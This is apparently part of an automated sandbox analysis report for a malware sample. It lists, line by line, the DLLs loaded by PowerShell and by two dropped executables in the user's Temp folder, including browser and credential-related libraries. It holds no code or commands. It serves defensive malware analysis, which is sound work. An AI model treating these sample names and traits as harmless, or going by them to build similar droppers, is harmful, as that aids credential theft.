Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: zipfldr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
